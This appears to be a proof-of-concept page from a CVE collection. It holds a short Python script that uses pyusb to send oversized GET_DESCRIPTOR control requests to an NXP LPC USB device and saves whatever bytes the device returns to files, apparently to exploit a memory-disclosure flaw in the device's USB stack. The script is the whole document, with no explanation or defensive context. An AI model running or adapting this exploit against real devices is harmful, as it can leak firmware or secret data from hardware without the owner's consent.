4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / LPC_USB.py PY
import usb.core
import usb.util
import time


import time

dev = usb.core.find(idVendor=0x1fc9, idProduct=0x0021)


responses = []
size = 0


try:
    send = dev.ctrl_transfer(0x80, 6, 0x0200, 0x1, 0xff)
    if len(send) >= size:
        print(str(send),len(send))
    send = dev.ctrl_transfer(0x80, 6, 0x0201, 0x1, 0xfff)
    if len(send) >= size:
        responses.append({"resp":list(send)})
        print(str(send), len(send))
except:
    pass

for i in range(0, len(responses)):
            f = open("responses%d.txt" % i, "w")
            f.write("{}\n".format(responses[i]))
            f.close()
            f = open("responses%d.bin" % i, "w")
            f.write("".join([chr(elem) for elem in responses[i]["resp"]]))
            f.close()